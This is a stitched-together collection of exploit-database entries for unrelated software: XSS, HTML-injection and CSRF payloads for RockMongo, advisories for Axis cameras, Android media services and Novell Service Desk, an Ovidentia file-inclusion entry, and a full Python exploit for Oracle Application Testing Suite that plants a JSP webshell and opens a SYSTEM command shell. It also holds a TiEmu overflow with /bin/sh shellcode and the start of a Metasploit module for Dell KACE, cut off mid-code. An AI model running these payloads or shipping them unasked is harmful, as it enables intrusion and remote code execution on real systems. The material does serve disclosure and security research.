PARAMETER
collection

PAYLOAD
<script>alert(6)</script>

#########################################################################################################################################################

XSS7 (Reflected)

URL
http://localhost/rockmongo/index.php?action=collection.index&collection=system.indexes&command=findAll&criteria=%22%3E%3Cscript%3Ealert%287%29%3C/script%3E&db=test&field[0]=_id&format=array&limit=0&order[0]=asc&pagesize=10&query_fields[0]=v

METHOD
Get

PARAMETER
criteria

PAYLOAD
"><script>alert(7)</script>

#########################################################################################################################################################

XSS8 (Reflected)

URL
http://localhost/rockmongo/index.php/"><script>alert(8)</script>

METHOD
Get

PARAMETER
URL

PAYLOAD
"><script>alert(8)</script>

#########################################################################################################################################################


HTML Injection details:
#########################################################################################################################################################

HTML Injection1

URL
http://localhost/rockmongo/index.php?action=login.index

METHOD
Post

PARAMETER
username,db

PAYLOAD
"><iframe src=http://www.rockmongo.com></iframe>

#########################################################################################################################################################

HTML Injection2

URL
http://localhost/rockmongo/index.php?action=server.createDatabase

METHOD
Post

PARAMETER
name

PAYLOAD
<iframe src=http://www.rockmongo.com>

#########################################################################################################################################################

HTML Injection3 (Stored)

URL
http://localhost/rockmongo/index.php?action=db.newCollection&db=test

METHOD
Post

PARAMETER
name

PAYLOAD
<iframe src=http://www.rockmongo.com>

#########################################################################################################################################################

HTML Injection4

URL
http://localhost/rockmongo/index.php?action=server.command&db=test

METHOD
Post

PARAMETER
db

PAYLOAD
<iframe src=http://www.rockmongo.com>

#########################################################################################################################################################

HTML Injection5

URL
http://localhost/rockmongo/index.php?action=collection.removeCollection&db=test&collection=system.indexes%3Ciframe%20src=http://www.rockmongo.com%3E

METHOD
Get

PARAMETER
collection

PAYLOAD
<iframe src=http://www.rockmongo.com>

#########################################################################################################################################################

HTML Injection6

URL
http://localhost/rockmongo/index.php?action=collection.index&collection=system.indexes&command=findAll&criteria=%22%3E%3Ciframe%20src=http://www.rockmongo.com%3E&db=test&field[0]=_id&format=array&limit=0&order[0]=asc&pagesize=10&query_fields[0]=v

METHOD
Get

PARAMETER
criteria

PAYLOAD
"><iframe src=http://www.rockmongo.com>

#########################################################################################################################################################

CSRF details:
#########################################################################################################################################################

CSRF1

Create Database

<html>
  <body>
    <form action="
http://localhost/rockmongo/index.php?action=server.createDatabase"
method="POST">
    <input type="text" name="name" value="exploit-db" />
        <input type="submit" value="Create DB" />
    </form>
  </body>
</html>

#########################################################################################################################################################

CSRF2

Drop Database

<html>
  <body>
    <form action="
http://localhost/rockmongo/index.php?action=db.dropDatabase" method="POST">
    <input type="text" name="db" value="exploit-db"/>
    <input type="hidden" name="confirm" value="1"/>
    <input type="submit" value="Drop DB"/>
    </form>
  </body>
</html>

#########################################################################################################################################################

CSRF3

Create Collection

<html>
  <body>
    <form action="
http://localhost/rockmongo/index.php?action=db.newCollection&db=exploit-db"
method="POST">
    <input type="text" name="name" value="exploit-Collection" />
    <input type="submit" value="Create Collection" />
    </form>
  </body>
</html>

#########################################################################################################################################################

CSRF4

Drop Collection

<html>
  <body>
    <form action="
http://localhost/rockmongo/index.php?action=collection.removeCollection&db=exploit-db"
method="POST">
    <input type="text" name="collection" value="exploit-Collection"/>
    <input type="submit" value="Drop Collection"/>
    </form>
  </body>
</html>

#########################################################################################################################################################

CSRF5

Add Database User

<html>
  <body>
    <form action="
http://localhost/rockmongo/index.php?action=db.addUser&db=admin"
method="POST">
    <input type="text" name="username" value="test"/>
    <input type="text" name="password" value="test"/>
    <input type="text" name="password2" value="test"/>
    <input type="submit" value="Add User"/>
    </form>
  </body>
</html>

#########################################################################################################################################################

CSRF6

Delete Database User

<html>
  <body>
    <form action="
http://localhost/rockmongo/index.php?action=db.deleteUser&db=admin"
method="POST">
    <input type="text" name="user" value="test"/>
    <input type="submit" value="Remove User"/>
    </form>
  </body>
</html>

#########################################################################################################################################################

CSRF7

Command Execute

<html>
  <body>
    <form action="
http://localhost/rockmongo/index.php?action=server.command&" method="POST">
    <input type="text" name="command" value="{ listCommands: 1 }"/>
    <input type="text" name="db" value="admin"/>
    <input type="text" name="format" value="json"/>
    <input type="submit" value="Command Execute"/>
    </form>
  </body>
</html>

#########################################################################################################################################################

CSRF8

Execute Code

<html>
  <body>
    <form action="
http://localhost/rockmongo/index.php?action=server.execute&db=admin"
method="POST">
    <input type="text" name="code" value="function () { var plus = 1 + 2;
return plus; }"/>
    <input type="text" name="db" value="admin"/>
    <input type="submit" value="Execute Code"/>
    </form>
  </body>
</html>

#########################################################################################################################################################
            
                         _ _ _       _
                        | | | |     | |
  ___  _ ____      _____| | | | __ _| |__  ___
 / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __|   6079 Smith W
| (_) | |   \ V  V /  __/ | | | (_| | |_) \__ \   doubleplusungood
 \___/|_|    \_/\_/ \___|_|_|_|\__,_|_.__/|___/   owning some telescreens...


 Security Adivisory
    2016-04-09
                www.orwelllabs.com
                  twt:@orwelllabs





I. ADVISORY INFORMATION
-----------------------
Title: Axis Network Cameras Multiple Cross-site scripting
Vendor: Axis Communications
Class: Improper Input Validation [CWE-20]
CVE Name: CVE-2015-8256
Remotely Exploitable: Yes
Locally Exploitable: No
OLSA-ID: OLSA-2015-8256
Adivisory URL:
http://www.orwelllabs.com/2016/01/axis-network-cameras-multiple-cross.html


II. Background
--------------
Axis is the market leader in network video, invented the world’s first
network camera back in 1996 and we’ve been innovators in video surveillance
ever since. Axis network video products are installed in public places and
areas such as retail chains, airports, trains, motorways, universities,
prisons, casinos and banks.

III. vulnerability
------------------
AXIS Network Cameras are prone to multiple (stored/reflected) cross-site
scripting vulnerability.

IV. technical details
---------------------
These attack vectors allow you to execute an arbitrary javascript code in
the user browser (session) with this steps:

# 1 Attacker injects a javascript payload in the vulnerable page:
http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script
type="text/javascript>prompt("AXIS_PASSWORD:")</script>

This will create a entry in the genneral log file (/var/log/messages) So,
when the user is viewing the log 'system options' -> 'support' -> 'Logs &
Reports':

http://{axishost}/axis-cgi/admin/systemlog.cgi?id
will be displayed a prompt for the password of the current user
('AXIS_PASSWORD').

However, due to CSRF presented is even possible to perform all actions
already presented: create, edit and remove users and applications, etc. For
example, to delete an application "axis_update" via SXSS:

http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script src="http://
axishost/axis-cgi/admin/local_del.cgi?+/usr/html/local/viewer/axis_update.shtml"></script>

* A reflected cross-site scripting affects all models of AXIS devices on
the same parameter:
http://
{axis-cam-model}/view/view.shtml?imagePath=0WLL</script><script>alert('AXIS-XSS')</script><!--

# Other Vectors
http://
{axishost}/admin/config.shtml?group=%3Cscript%3Ealert%281%29%3C/script%3E

http://{axishost}/view/custom_whiteBalance.shtml?imagePath=<img src="xs"
onerror=alert(7) /><!--
http://
{axishost}/admin-bin/editcgi.cgi?file=<script>alert('SmithW')</script>

http://
{axishost}/operator/recipient_test.shtml?protocol=%3Cscript%3Ealert%281%29%3C/script%3E

http://
{axishost}/admin/showReport.shtml?content=alwaysmulti.sdp&pageTitle=axis</title></head><body><pre><script>alert(1)</script>

# SCRIPTPATHS:

{HTMLROOT}/showReport.shtml
{HTMLROOT}/config.shtml
{HTMLROOT}/incl/top_incl.shtml
{HTMLROOT}/incl/popup_header.shtml
{HTMLROOT}/incl/page_header.shtml
{HTMLROOT}/incl/top_incl_popup.shtml
{HTMLROOT}/viewAreas.shtml
{HTMLROOT}/vmd.shtml
{HTMLROOT}/custom_whiteBalance.shtml
{HTMLROOT}/playWindow.shtml
{HTMLROOT}/incl/ptz_incl.shtml
{HTMLROOT}/view.shtml
{HTMLROOT}/streampreview.shtml

And many, many others...

V. Impact
---------
allows to run arbitrary code on a victim's browser and computer if combined
with another flaws in the same devices.

VI. Affected products
---------------------
Multiple Axis Network products.

VII. solution
-------------
It was not provided any solution to the problem.

VIII. Credits
-------------
The vulnerability has been discovered by SmithW from OrwellLabs

IX. Legal Notices
-----------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this
information.

X. Vendor solutions and workarounds
-----------------------------------
There was no response from the vendor.


About Orwelllabs
++++++++++++++++
Orwelllabs is a (doubleplusungood) security research lab interested in embedded
device & webapp hacking.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=711

Android: Information Disclosure in IOMX getConfig/getParameter
Platform: Verified on google/razor/flo:6.0.1/MMB29O/2459718:user/release-keys
Class: Information Disclosure

Summary:
The GET_CONFIG and GET_PARAMETER calls on IOMX are vulnerable to an information disclosure of uninitialized heap memory. This could be used by an attacker to break ASLR in the media server process by reading out heap memory which contains useful address information.

Description:
The relevant code in frameworks/av/media/libmedia/IOMX.cpp is:

node_id node = (node_id)data.readInt32();
OMX_INDEXTYPE index = static_cast<OMX_INDEXTYPE>(data.readInt32());

size_t size = data.readInt64();

void *params = malloc(size);
data.read(params, size); <- Read in the buffer from the parcel to initialize


// SNIP - getParameter etc.

if ((code == GET_PARAMETER || code == GET_CONFIG) && err == OK) {
  reply->write(params, size); <- Write back entire buffer to caller
}

The vulnerability stems from the fact that Parcel::read(void* outData, size_t len) fails quickly if it doesn’t have sufficient data in the parcel to satisfy the request leaving the outData buffer untouched. As long as the call to getParameter or getConfig succeed then the entire, mostly uninitialized buffer will be returned. For example if the parameter is only 8 bytes in size but the caller passes a size field of 128 bytes (but doesn’t write those 128 bytes into the parcel) then the 120 bytes following in the heap will be returned uninitialized. 

Arguably there’s also a potential NULL pointer dereference here depending on the implementation as the call to malloc can fail with an arbitrary size value. But I think later functions handle the NULL case. 
I’d suggest that the result of data.read should be checked to ensure all the data has been read correctly.

Proof of Concept:
I’ve provided a PoC which exploits the issue and prints a 64 byte buffer (with 56 bytes uninitialized) to logcat. It uses the OMX.qcom.video.decoder.mpeg4 component. I’ve only tested this on a Nexus 5 and Nexus 7 devices, but I’m guessing that decoder should be everywhere. You should be able to create default Android Studio project and call OMXInfoDisclosurePoC.testOMX
from the Main Activity. When run you should see a line in logcat similar to:

E/MyClass: allocateNode Error: 0
E/MyClass: Allocate Node: 42
E/MyClass: Result: 040000000101000XXXXXXXXXX

Where XXXXXX should be uninitialized memory from the heap.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39685.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=706

Android: IMemory Native Interface is insecure for IPC use
Platform: Tested on Android 6.0.1 January patches
Class: Elevation of Privilege

Summary:
The IMemory interface in frameworks/native/libs/binder/IMemory.cpp, used primarily by the media services can be tricked to return arbitrary memory locations leading to information disclosure or memory corruption.

Description:
The IMemory interface allows the passing of shared memory across the Binder IPC channel on Android. The interface supports a single remote call, GET_MEMORY which requests a separate IMemoryHeap interface along with an offset value and size for the shared memory buffer. The IMemoryHeap interface in turn supports a HEAP_ID call which marshals across a FileDescriptor, size, flags and an offset. This is passed to mmap to map the shared memory into the current process.

The underlying vulnerability is the sizes in IMemory and IMemoryHeap are not checked relative to one another, and nor is the offset in IMemory checked against the size of IMemoryHeap. This allows a local process to craft fake IMemory and IMemoryHeap objects such that they lie about their values and either cause information disclosure or memory corruption.

To understand this let’s look at how the pointer to the shared buffer is extracted from IMemory::pointer:

void* IMemory::pointer() const {
    ssize_t offset;
    sp<IMemoryHeap> heap = getMemory(&offset);
    void* const base = heap!=0 ? heap->base() : MAP_FAILED;
    if (base == MAP_FAILED)
        return 0;
    return static_cast<char*>(base) + offset; <- No check on IMemoryHeap size
}

Maybe we check sizes in getMemory() ?

sp<IMemoryHeap> BpMemory::getMemory(ssize_t* offset, size_t* size) const
{
    if (mHeap == 0) {
        Parcel data, reply;
        data.writeInterfaceToken(IMemory::getInterfaceDescriptor());
        if (remote()->transact(GET_MEMORY, data, &reply) == NO_ERROR) {
            sp<IBinder> heap = reply.readStrongBinder();
            ssize_t o = reply.readInt32();
            size_t s = reply.readInt32(); <- No check.
            if (heap != 0) {
                mHeap = interface_cast<IMemoryHeap>(heap);
                if (mHeap != 0) {
                    mOffset = o;
                    mSize = s;
                }
            }
        }
    }
    if (offset) *offset = mOffset;
    if (size) *size = mSize;
    return mHeap;
}

Nope, as we can see, no check is made of IMemoryHeap’s size, so you could specify a mapped file smaller than offset and create a pointer out of bounds. Of course if IMemoryHeap is invalid then the mmap process will return MAP_FAILED which will end up as NULL after the call to pointer(). 

So how can this be abused? Any IPC service which calls pointer() can be tricked into accessing an arbitrary location, either a relative offset to the file mapped or NULL. For example look at ICrypto::onTransact with the DECRYPT operation. It checks that the offset is within the total size (this has been exploited before) with:

} else if (totalSize > sharedBuffer->size()) {
  result = -EINVAL;
} else if ((size_t)offset > sharedBuffer->size() - totalSize) {
  result = -EINVAL;

The size is the value returned through IMemory, and not the actual mapped size from IMemoryHeap so in this case offset can be arbitrary. With the right plugin (such as the clearkey plugin) we can get this to read arbitrary memory. Even more so as there’s no NULL checking in pointer() we can cause IMemoryHeap to fail which causes pointer() to return NULL. Setting size to 0xFFFFFFFF means we can read any memory location from 0 to 0xFFFFFFFF. 

This can be turned into an arbitrary write as long as you can pass an arbitrary IMemory to another service. For example the BnCameraRecordingProxy::onTransact in frameworks/av/camera/ICameraRecordingProxy.cpp does the following for onReleaseRecordingFrame


case RELEASE_RECORDING_FRAME: {
            ALOGV("RELEASE_RECORDING_FRAME");
            CHECK_INTERFACE(ICameraRecordingProxy, data, reply);
            sp<IMemory> mem = interface_cast<IMemory>(data.readStrongBinder());

            if (CameraUtils::isNativeHandleMetadata(mem)) {
                VideoNativeHandleMetadata *metadata =
                        (VideoNativeHandleMetadata*)(mem->pointer());
                metadata->pHandle = data.readNativeHandle();

                // releaseRecordingFrame will be responsble to close the native handle.
            }
            releaseRecordingFrame(mem);

            return NO_ERROR;
        } break;

As you can coerce the pointer value, as long as the first 4 bytes make the integer 3 the next 4 bytes will be overwritten by the native handle value which can be controlled. 

Proof of Concept:
I’ve provided a PoC which exploits the issue in ICrypto::decrypt. I will just SIG_SEGV on reading an arbitrary location (in this case 1GiB relative to the mapped memory). If it succeeds then that’s good as well as it shouldn't succeed. You should be able to create default Android Studio project and replace the MainActivity with the provided Java file. When run it should cause media server to crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39686.zip
            
>> Multiple vulnerabilities in Novell Service Desk 7.1.0, 7.0.3 and 6.5
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 30/03/2016 / Last updated: 10/04/2016

>> Background on the affected products:
"Novell Service Desk 7.1.0 is a complete service management solution that allows you to easily monitor and solve services issues so that there is minimal disruption to your organization, which allows users to focus on the core business. Novell Service Desk provides an online support system to meet the service requirements of all your customers, administrators, supervisors, and technicians"


>> Summary:
Novell Service Desk has several vulnerabilities including a file upload function that can be exploited to achieve authenticated remote code execution. The product appears to be a rebranded version of Absolute Service (another help desk system). The latter has not been tested but it is likely to contain the same vulnerabilities as Novell Service Desk. The Google dork for this application is inurl:"LiveTime/WebObjects". Version 7.2 and above now appear to be branded as "Micro Focus Service Desk". 
Advisories for these vulnerabilities can be found in the Micro Focus site at [1], [2], [3] and [4].


>> Technical details:
#1 
Vulnerability: Arbitrary file upload via directory traversal (leading to remote code execution)
CVE-2016-1593
Constraints: Administrator account needed
Affected versions: 
- NSD 7.1.0
- NSD 7.0.3
- NSD 6.5
- Possibly earlier versions

The User -> Customers -> Import function allows an administrator to upload files. The path specified in the filename parameter can be traversed using ../ characters and upload a JSP file to the Tomcat directory.

The default path to be traversed is /LiveTime/Uploads/ on the Novell Service Desk Virtual Appliance Demo.

POST /LiveTime/WebObjects/LiveTime.woa/wo/7.0.53.19.0.2.7.0.3.0.0.1 HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------2477470717121
Content-Length: 533

-----------------------------2477470717121
Content-Disposition: form-data; name="0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"; filename="../../srv/tomcat6/webapps/LiveTime/bla5.jsp"
Content-Type: application/octet-stream

<HTML>
 <HEAD>
  <TITLE>Hello World</TITLE>
 </HEAD>
 <BODY>
  <H1>Hello World</H1>
  Today is: <%= new java.util.Date().toString() %>
 </BODY>
</HTML>
-----------------------------2477470717121
Content-Disposition: form-data; name="ButtonUpload"

Upload
-----------------------------2477470717121--


#2 
Vulnerability: Information disclosure (Download System logs as any authenticated user - even unprivileged customers)
CVE-2016-1594
Constraints: User / client account needed
Affected versions: 
- NSD 7.0.3
- NSD 6.5
- Possibly earlier versions

GET /LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadLogFiles
Contains the full error log, license and system information (operating system, java version, database, etc).


#3
Vulnerability: Information disclosure (Download any attachment from any client as an authenticated user - even unprivileged customers)
CVE-2016-1594
Constraints: User / client account needed
Affected versions: 
- NSD 7.1.0
- NSD 7.0.3
- NSD 6.5
- Possibly earlier versions

GET /LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile?attachmentId=1&entityName=ItemTypeAttach

Possible entityNames are:
KbaAttachment
ServiceAttachment
IncidentAttachment
ItemAttach
ProjectAttachment
GroupAttachment
ContractAttachment
ItemTypeAttach

Cycling through all attachmentId numbers will yield all attachments for each entityName.


#4
Vulnerability: Hibernate Query Language (HQL) injection
CVE-2016-1595
Constraints: User / client account needed
Affected versions: 
- NSD 7.1.0
- NSD 7.0.3
- NSD 6.5
- Possibly earlier versions

GET /LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile?attachmentId=1&entityName=<HQL injection here>

Input is passed directly to Hibernate (line 125 of DownloadAction.class):
        List<?> attachments = ((com.livetime.Session)session()).getDbSession().createQuery(new StringBuilder().append("from ").append(hasEn).append(" as attach where attach.attachmentId = ").append(hasId.intValue()).toString()).list();

hasEn is entityName (string) and hasId is attachmentId (integer)


#5
Vulnerability: Stored Cross Site Scripting (XSS)
CVE-2016-1596
Constraints: User / client account needed
Affected versions: 
- NSD 7.1.0
- NSD 7.0.3
- NSD 6.5
- Possibly earlier versions

Several sections of the web application are vulnerable to stored cross site scripting. This includes the administrator portal (when logged in as an administrator, technician, manager or other administrative user), the end user portal (when logged in as a normal end user) and the forums. The vulnerabilities below are just examples as the vulnerability is present in many different pages.

a)
In the customer portal, clicking the user name will allow you to edit your display name.
The fields tf_aClientFirstName and tf_aClientLastName are also vulnerable to stored XSS. Other fields might be vulnerable but have not been tested.
Example:
tf_aClientFirstName=Jos"><script>alert(1)</script>e&tf_aClientEmail=aa%40aa.bb&tf_aClientLastName="><script>alert(2)</script>Guestaa

This can be used to attack an administrator or any other management user, as the name will be changed globally. If an administrator sees the list of users an alert box will pop up.

b)
In the Forums the content section is vulnerable when creating a new topic.
The affected parameter is ta_selectedTopicContent.
Example:
tf_selectedTopicTitle=aaaaa&ta_selectedTopicContent="><script>alert(2)</script>&ButtonSave=Save

The alert box will pop up when you view the topic.

c)
In User -> Organizational Units, the name parameter is vulnerable (tf_orgUnitName) when you are creating a new Organizational Unit.
Example:
POST /LiveTime/WebObjects/LiveTime.woa/wo/18.0.53.21.0.4.1.3.0.1 HTTP/1.1

-----------------------------3162880314525
Content-Disposition: form-data; name="tf_orgUnitName"

"><script>alert(1)</script>

The alert box will pop up when you view the Organizational Units page and possibly in other pages.

d)
In Configuration -> Vendors, the manufacturer name, address and city parameters are vulnerable when you are creating a new Vendor.
Example:
tf_aManufacturerFullName="><script>alert(1)</script>&tf_aManufacturerName="><script>alert(1)</script>&tf_aManufacturerAddress="><script>alert(1)</script>&tf_aManufacturerCity="><script>alert(1)</script>&tf_aManufacturerPostalCode=&pu_countryDGDisplayedObjects=WONoSelectionString&tf_aManufacturerPhone=&tf_aManufacturerFax=&tf_aManufacturerUrl=&ButtonSave=Save

Three alert boxes will pop up when you view the Vendor page and possibly in other pages.


>> Fix: 
#1, #3, #4 and 5# - Upgrade to version 7.2.0
#2 - Upgrade to version 7.1.0


>> References:
[1] https://www.novell.com/support/kb/doc.php?id=7017428
[2] https://www.novell.com/support/kb/doc.php?id=7017429
[3] https://www.novell.com/support/kb/doc.php?id=7017431
[4] https://www.novell.com/support/kb/doc.php?id=7017430

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
# Title: Ovidentia Module troubletickets 7.6 GLOBALS[babInstallPath] Remote File Inclusion Vulnerability
# Author: bd0rk || SCHOOL-OF-HACK.NET
# eMail: bd0rk[at]hackermail.com
# Website: http://www.school-of-hack.net
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Ftroubletickets&file=troubletickets-7-6.zip&idf=838

Proof-of-Concept:

Vuln.-Code in /troubletickets-7-6/programs/statistique_evolution.php line 16
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

require_once $GLOBALS['babInstallPath'].'utilit/dateTime.php';

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[+]Usage: http://[someone]/troubletickets-7-6/programs/statistique_evolution.php?GLOBALS[babInstallPath]=[SHELLCODE]

The problem: The GLOBALS[babInstallPath]-parameter isn't declared before require_once.
             So an attacker can inject some php-shellcode (c99 or r57 for example) 'bout it.
             It's no problem to patch it!
             Declare this parameter or use an alert!


Greetings from bd0rk. HackThePlanet! 
            
# Exploit Title: Oracle Application Testing Suite Authentication Bypass and Arbitrary File Upload Remote Exploit
# Exploit Author: Zhou Yu <504137480@qq.com >
# Vendor Homepage: http://www.oracle.com/
# Software Link: http://www.oracle.com/technetwork/oem/downloads/apptesting-downloads-1983826.html?ssSourceSiteId=otncn
# Version: 12.4.0.2.0
# Tested on: Win7 SP1 32-bit
# CVE : CVE-2016-0492 and CVE-2016-0491

import urllib2
import urllib

ip = '192.168.150.239'
port = 8088

url = "http://" + ip + ":" + str(port)
#bypass authentication
url = url+"/olt/Login.do/../../olt/UploadFileUpload.do"
request = urllib2.Request(url)

webshell_content='''
<%@ page import="java.util.*,java.io.*"  %>
    <%
        if (request.getParameter("{cmd}") != null) {{
            Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("{cmd}"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while (disr != null) {{
                out.println(disr);
                disr = dis.readLine();
            }}
        }}
    %>
'''
boundary = "---------------------------7e01e2240a1e"
request.add_header('Content-Type', "multipart/form-data; boundary=" + boundary)
post_data = "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"storage.extension\"\r\n"
post_data = post_data + "\r\n.jsp\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"fileName1\"\r\n"
post_data = post_data + "\r\nwebshell.jsp\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"fileName2\"\r\n"
post_data = post_data + "\r\n\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"fileName3\"\r\n"
post_data = post_data + "\r\n\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"fileName4\"\r\n"
post_data = post_data + "\r\n\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"fileType\"\r\n"
post_data = post_data + "\r\n*\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"file1\"; filename=\"webshell.jsp\"\r\n"
post_data = post_data + "Content-Type: text/plain\r\n"
post_data = post_data + "\r\n" + webshell_content +"\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"storage.repository\"\r\n"
post_data = post_data + "\r\nDefault\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"storage.workspace\"\r\n"
post_data = post_data + "\r\n.\r\n"
post_data = post_data + "--" + boundary + "\r\n"
post_data = post_data + "Content-Disposition: form-data; name=\"directory\"\r\n"
post_data = post_data + "\r\n" + "../oats\servers\AdminServer\\tmp\_WL_user\oats_ee\\1ryhnd\war\pages" +"\r\n"
post_data = post_data + "--" + boundary + "--"+"\r\n"

try:
    request.add_data(post_data)
    response = urllib2.urlopen(request)
    if response.code == 200 :
        print "[+]upload done!"
        webshellurl = "http://" + ip + ":" + str(port) + "/olt/pages/webshell.jsp"
        print "[+]wait a moment,detecting whether the webshell exists..."
        if urllib2.urlopen(webshellurl).code == 200 :
            print "[+]upload webshell successfully!"
            print "[+]return a cmd shell"
            while True:
                cmd = raw_input(">>: ")
                if cmd == "exit" :
                    break
                print urllib.urlopen(webshellurl+"?{cmd}=" + cmd).read().lstrip()
        else:
            print "[-]attack fail!"
    else:
        print "[-]attack fail!"
except Exception as e:
    print "[-]attack fail!"

'''
#run the exploit and get a cmd shell
root@kali:~/Desktop# python exploit.py 
[+]upload done!
[+]wait a moment,detecting whether the webshell exists...
[+]upload webshell successfully!
[+]return a cmd shell
>>: whoami
nt authority\system


>>: exit
'''
            
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Texas Instruments calculators emulator (without GDB)
# Version: 3.03-nogdb+dfsg-3
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: TiEmu emulates Texas Instruments calculators TI
9/92/92+/V200PLT.
# Kali Linux 2.0 package: pool/main/t/tiemu/tiemu_3.03-nogdb+dfsg-3_i386.deb
# MD5sum: 79a42bb40dfa8437b6808a9072faf001
# Website: http://lpg.ticalc.org/prj_tiemu/
#
#
# Starting program: /usr/bin/tiemu -rom=$(python -c 'print "A"*80')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
# TiEmu 3 - Version 3.03
# THIS PROGRAM COMES WITH ABSOLUTELY NO WARRANTY
# PLEASE READ THE DOCUMENTATION FOR DETAILS
#
# Program received signal SIGSEGV, Segmentation fault.
#
# 0x41414141 in ?? ()
#
# gdb$ backtrace
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb6ec9367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb6ecaa23 in __GI_abort () at abort.c:89
#3  0xb6f07778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb6ffd715 "*** %s ***: %s
#4  0xb6f97b85 in __GI___fortify_fail (msg=msg@entry=0xb6ffd6fd "stack
smashing detected") at fortify_fail.c:31
#5  0xb6f97b3a in __stack_chk_fail () at stack_chk_fail.c:28
#6  0x0811beb3 in _start ()

import os,subprocess

def run():
  try:
    print "# Texas Instrument Emulator Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*84
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*12
    eip = "\xd1\xf3\xff\xbf"
    subprocess.call(["tiem ",'-rom= ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Texas Instrument emulator not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit Tiem 3.03-nogdb+dfsg-3 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dell KACE K1000 File Upload',
      'Description'    => %q{
          This module exploits a file upload vulnerability in Kace K1000
        versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547
        which allows unauthenticated users to execute arbitrary commands
        under the context of the 'www' user.

        This module also abuses the 'KSudoClient::RunCommandWait' function
        to gain root privileges.

        This module has been tested successfully with Dell KACE K1000
        version 5.3.
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Platform'       => 'unix', # FreeBSD
      'Arch'           => ARCH_CMD,
      'Author'         =>
        [
          'Bradley Austin (steponequit)', # Initial discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
        ],
      'References'     =>
        [
          ['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html']
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00\x27",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl'
            }
        },
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DisclosureDate' => 'Mar 7 2014'))
  end

  def check
    res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php'))
    unless res
      vprint_error('Connection failed')
      return Exploit::CheckCode::Unknown
    end
    if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000'
      if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/
        vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}")
